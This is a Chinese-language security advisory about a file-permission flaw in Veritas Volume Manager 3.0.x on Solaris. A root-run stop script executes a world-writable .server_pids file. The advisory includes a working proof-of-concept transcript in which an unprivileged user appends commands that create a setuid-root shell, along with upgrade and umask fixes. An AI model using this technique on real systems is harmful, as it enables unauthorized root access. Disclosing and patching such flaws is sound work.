安全研究

安全漏洞
Veritas Volume Manager 3.0.x 文件属性设置不当漏洞

发布日期:2000-06-19
更新日期:2000-06-19

受影响系统:

Veritas Software Volume Manager 3.0.2/3.0.3/3.0.4
   - Sun Solaris 7.0
   - Sun Solaris 2.6
   - Sun Solaris 2.5.1
不受影响系统:

Sun Solaris 8.0
Veritas Software Volume Manager 3.1 Beta
   - Sun Solaris 8.0
   - Sun Solaris 7.0
   - Sun Solaris 2.6
   - Sun Solaris 2.5.1
描述:

Volume Manager 是一个磁盘管理软件。所有运行在Solaris 8以下的Sun系统中的
Volume Manager都存在一个安全漏洞。

Volume Manager安装后会产生/etc/rc2.d/S96vmsa-server脚本,当系统启动时
这个脚本被执行,启动Volume Manager.当它执行时会在/var/opt/vmsa/logs目录
下创建一个.server_pids文件,由于这个脚本中没有设置umask,这样这个文件的
属性就被设置成了666,任何人都可以读写。

控制程序/opt/VRTSvmsa/bin/vmsa_server使用"-k"参数可以停止Volume Manager
服务,在停止服务之前会执行.server_pids文件,相应代码如下:

stop_server()
{
        if [ -f $LOGDIR/.server_pids ];
        then
                echo "Stopping $CNAME Server"
                /bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1
                rm -f $LOGDIR/.server_pids
        else
                echo "Unable to stop $CNAME Server"
        fi
}

如果用户改变了.server_pids文件中的内容。就有可能以运行/opt/VRTSvmsa/
bin/vmsa_server的用户(通常是root)的身份执行任意命令。

这个控制脚本并不会在shutdown的时候自动运行,而只能被系统管理员手工运行。

Solaris 8不存在这个问题,因为在系统启动时设置了初始umask=022,这样产生的
.server_pids其他人是不能写的。


<* 来源: Dixie Flatline <echo8@WHIP.TWISTEDPAIR.CA> *>





测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


foo@bar> id
uid=500(foo) gid=25(programmers)
foo@bar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foo@bar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
^D
foo@bar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foo@bar>

# wait for root to stop the server manually

root@bar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
root@bar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..

# as an unprivileged user, run the suid-root shell we just created...

foo@bar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)
#




建议:

Volume Manager 3.1 beta版已经解决了这个问题,请升级到相应版本。

临时解决办法:

在/etc/rc2.d/S96vmsa-server中增加"umask 022"语句,设置正确的缺省umask



浏览次数:7052
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障